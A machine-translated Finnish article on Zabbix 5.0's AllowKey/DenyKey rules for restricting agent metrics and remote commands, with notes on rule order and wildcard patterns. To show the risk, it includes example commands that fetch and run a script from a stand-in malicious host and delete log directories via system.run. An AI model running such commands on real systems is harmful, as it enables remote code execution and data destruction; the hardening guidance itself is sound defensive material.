Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Mustan ja valkoisen listan tuki agenttipuolen mittareille

Tikhon Uskov, integraatioinsinööri, Zabbix

Tietoturvaongelmat

Zabbix 5.0:ssa on uusi ominaisuus, jonka avulla voit parantaa Zabbix-agenttia käyttävien järjestelmien turvallisuutta ja korvaa vanhan parametrin Ota RemoteCommands käyttöön.

Agenttipohjaisten järjestelmien turvallisuuden parannukset johtuvat siitä, että agentti voi suorittaa suuren määrän mahdollisesti vaarallisia toimia.

  • Agentti voi kerätä melkein mitä tahansa tietoa, mukaan lukien luottamukselliset tai mahdollisesti vaaralliset tiedot, määritystiedostoista, lokitiedostoista, salasanatiedostoista tai muista tiedostoista.

Esimerkiksi zabbix_get-apuohjelman avulla voit käyttää luetteloa käyttäjistä, heidän kotihakemistoistaan, salasanatiedostoista jne.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Tietojen käyttäminen zabbix_get-apuohjelman avulla

HUOM. Tietoja voidaan hakea vain, jos agentilla on vastaavan tiedoston lukuoikeudet. Mutta esimerkiksi tiedosto /etc/passwd/ kaikkien käyttäjien luettavissa.

  • Agentti voi myös suorittaa mahdollisesti vaarallisia komentoja. Esimerkiksi näppäin *system.run[]** mahdollistaa kaikkien etäkomentojen suorittamisen verkkosolmuissa, mukaan lukien komentosarjojen suorittamisen Zabbix-verkkoliittymästä, jotka myös suorittavat komentoja agentin puolella.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxissa agentti toimii oletusarvoisesti ilman pääkäyttäjän oikeuksia, kun taas Windowsissa se toimii palveluna Järjestelmänä ja sillä on rajoittamaton pääsy tiedostojärjestelmään. Vastaavasti, jos Zabbix Agentin parametreihin ei tehdä muutoksia asennuksen jälkeen, agentilla on pääsy rekisteriin, tiedostojärjestelmään ja se voi suorittaa WMI-kyselyitä.

Aiemmissa versioissa parametri EnableRemoteCommands=0 sallittu vain poistaa mittarit käytöstä avaimella *system.run[]** ja komentosarjojen suorittaminen verkkokäyttöliittymästä, mutta yksittäisten tiedostojen käyttöä ei voitu rajoittaa, agentin kanssa asennettuja yksittäisiä avaimia sallia tai poistaa käytöstä tai rajoittaa yksittäisten parametrien käyttöä.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

EnableRemoteCommand-parametrin käyttäminen Zabbixin aiemmissa versioissa

AllowKey/DenyKey

Zabbix 5.0 auttaa suojaamaan luvattomalta käytöltä tarjoamalla sallittuja ja mustia listoja mittareiden sallimiseksi ja estämiseksi agenttipuolella.

Zabbix 5.0:ssa kaikki avaimet, mukaan lukien *system.run[]** ovat käytössä, ja kaksi uutta agentin määritysvaihtoehtoa on lisätty:

AllowKey= — sallitut tarkastukset;

DenyKey= — kielletyt tarkastukset;

missä on avaimen nimimalli parametreineen, joka käyttää metamerkkejä (*).

AllowKey- ja DenyKey-näppäimillä voit sallia tai estää yksittäisiä mittareita tietyn mallin perusteella. Toisin kuin muut konfigurointiparametrit, AllowKey/DenyKey-parametrien määrää ei ole rajoitettu. Näin voit määrittää selkeästi, mitä agentti voi tarkalleen tehdä järjestelmässä luomalla tarkistuspuun - suoritettavat avaimet, joissa niiden kirjoitusjärjestys on erittäin tärkeä rooli.

Sääntöjärjestys

Säännöt tarkistetaan siinä järjestyksessä, jossa ne syötetään asetustiedostoon. Avain tarkistetaan sääntöjen mukaisesti ennen ensimmäistä osumaa, ja heti kun tietoelementin avain vastaa kuviota, se sallitaan tai kielletään. Tämän jälkeen säännön tarkistus pysähtyy ja jäljellä olevat avaimet ohitetaan.

Siksi, jos elementti vastaa sekä salli- että kieltämissääntöä, tulos riippuu siitä, mikä sääntö on ensimmäinen asetustiedostossa.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

2 eri sääntöä samalla kuviolla ja avaimella vfs.file.size[/tmp/file]

AllowKey/DenyKey-näppäinten käyttöjärjestys:

  1. tarkat säännöt,
  2. yleiset säännöt,
  3. kieltävä sääntö.

Jos esimerkiksi tarvitset pääsyn tietyn kansion tiedostoihin, sinun on ensin sallittava pääsy niihin ja evättävä sitten kaikki muu, mikä ei kuulu määritettyjen oikeuksien piiriin. Jos estosääntöä käytetään ensin, pääsy kansioon estetään.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Oikea järjestys

Jos sinun on sallittava 2 apuohjelman suorittaminen *system.run[]**, ja kieltävä sääntö määritetään ensin, apuohjelmia ei käynnistetä, koska ensimmäinen kuvio vastaa aina mitä tahansa avainta, ja seuraavat säännöt ohitetaan.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Väärä järjestys

Kuviot

Perussääntöjä

Kuvio on ilmaus, jossa on yleismerkkejä. Metamerkki (*) vastaa minkä tahansa määrän merkkejä tietyssä paikassa. Metamerkkejä voidaan käyttää sekä avaimen nimessä että parametreissa. Voit esimerkiksi määrittää tiukasti ensimmäisen parametrin tekstillä, ja määritä seuraava jokerimerkkinä.

Parametrit tulee laittaa hakasulkeisiin [].

  • system.run[* - väärä
  • vfs.file*.txt] - väärä
  • vfs.file.*[*] - oikein

Esimerkkejä jokerimerkkien käytöstä.

  1. Avaimen nimessä ja parametrissa. Tässä tapauksessa avain ei vastaa samanlaista avainta, joka ei sisällä parametria, koska mallissa ilmoitimme, että haluamme saada tietyn avaimen nimen päätteen ja tietyn parametrijoukon.
  2. Jos kuviossa ei käytetä hakasulkeita, kuvio sallii kaikki näppäimet, jotka eivät sisällä parametreja, ja estää kaikki avaimet, jotka sisältävät määritetyn parametrin.
  3. Jos avain on kirjoitettu kokonaan ja parametrit määritetään jokerimerkkeinä, se vastaa mitä tahansa vastaavaa avainta millä tahansa parametreilla eikä vastaa avainta ilman hakasulkeita, eli se sallitaan tai estetään.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Säännöt parametrien täyttämiseksi.

  • Jos avain parametrein on tarkoitettu käytettäväksi, parametrit on määritettävä konfiguraatiotiedostossa. Parametrit on määritettävä metamerkkinä. On tarpeen evätä huolellisesti pääsy mihin tahansa tiedostoon ja ottaa huomioon, mitä tietoja metriikka voi tarjota eri kirjoitusasuilla - parametreilla ja ilman.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Parametreilla varustettujen näppäinten kirjoittamisen ominaisuudet

  • Jos avain on määritetty parametreilla, mutta parametrit ovat valinnaisia ​​ja määritetty metamerkkinä, avain ilman parametreja ratkaistaan. Jos esimerkiksi haluat estää tietojen vastaanottamisen suorittimen kuormituksesta ja määrittää, että system.cpu.load[*]-avain on poistettava käytöstä, älä unohda, että avain ilman parametreja palauttaa keskimääräisen kuormitusarvon.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

Parametrien täyttämistä koskevat säännöt

Huomautuksia

säätö

  • Käyttäjä ei voi muuttaa joitakin sääntöjä, kuten etsintäsääntöjä tai agentin automaattisen rekisteröinnin sääntöjä. AllowKey/DenyKey-säännöt eivät vaikuta seuraaviin parametreihin:
    - IsäntänimiItem
    - HostMetadataItem
    - HostInterfaceItem

HUOM. Jos järjestelmänvalvoja poistaa avaimen käytöstä, Zabbix ei anna kyselyn yhteydessä tietoja siitä, miksi mittari tai avain kuuluu luokkaanEI TUETA'. Tietoja etäkomentojen suorituskielloista ei myöskään näytetä agenttilokitiedostoissa. Tämä on turvallisuussyistä, mutta se voi vaikeuttaa virheenkorjausta, jos tiedot jostain syystä joutuvat tuettuun luokkaan.

  • Sinun ei pitäisi luottaa mihinkään tiettyyn järjestykseen liitettäessä ulkoisia määritystiedostoja (esimerkiksi aakkosjärjestyksessä).

Komentorivin apuohjelmat

Kun olet määrittänyt säännöt, sinun on varmistettava, että kaikki on määritetty oikein.

Voit käyttää yhtä kolmesta vaihtoehdosta:

  • Lisää mittari Zabbixiin.
  • Testaa kanssa zabbix_agentd. Zabbix-agentti optiolla -tulostus (-p) näyttää kaikki avaimet (jotka ovat oletuksena sallittuja) paitsi ne, joita kokoonpano ei salli. Ja vaihtoehdon kanssa -testi (-t) sillä kielletty avain palaaTuoteavainta ei tueta".
  • Testaa kanssa zabbix_get. Apuohjelma zabbix_get vaihtoehdon kanssa -k palaa 'ZBX_NOTSUPPORTED: Tuntematon mittari".

Salli tai kiellä

Voit estää pääsyn tiedostoon ja vahvistaa esimerkiksi apuohjelman avulla zabbix_getettä pääsy tiedostoon on estetty.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

**

HUOM. Parametrin lainausmerkit ohitetaan.

Tässä tapauksessa pääsy tällaiseen tiedostoon voidaan sallia eri polun kautta. Esimerkiksi, jos symbolilinkki johtaa siihen.

Tuki mustalle listalle ja sallittujen listalle lisäämiselle agenttipuolen mittareille Zabbix 5.0:ssa

On suositeltavaa tarkistaa eri vaihtoehdot määriteltyjen sääntöjen soveltamiseksi ja ottaa huomioon myös mahdollisuudet kiertää kieltoja.

Kysymyksiä ja vastauksia

Kysymys. Miksi niin monimutkainen malli omalla kielellään valittiin kuvaamaan sääntöjä, lupia ja kieltoja? Miksi esimerkiksi Zabbixin käyttämiä säännöllisiä lausekkeita ei voitu käyttää?

Vastata. Tämä on säännöllisen lausekkeen suorituskykyongelma, koska agentteja on yleensä vain yksi ja se tarkistaa valtavan määrän mittareita. Regex on melko raskas operaatio, emmekä voi tarkistaa tuhansia mittareita tällä tavalla. Jokerimerkit - yleinen, laajalti käytetty ja yksinkertainen ratkaisu.

Kysymys. Eivätkö Include-tiedostot ole sisällytetty aakkosjärjestyksessä?

Vastata. Sikäli kuin tiedän, on käytännössä mahdotonta ennustaa järjestystä, jossa sääntöjä sovelletaan, jos haet säännöt eri tiedostoihin. Suosittelen keräämään kaikki AllowKey/DenyKey-säännöt yhteen Include-tiedostoon, koska ne ovat vuorovaikutuksessa toistensa kanssa, ja sisällytä tämä tiedosto.

Kysymys. Zabbix 5.0:ssa vaihtoehto 'EnableRemoteCommands=' puuttuu asetustiedostosta, ja vain AllowKey/DenyKey ovat käytettävissä?

Vastaus. kyllä ​​se on oikein.

Спасибо за внимание!

Lähde: will.com

Lisää kommentti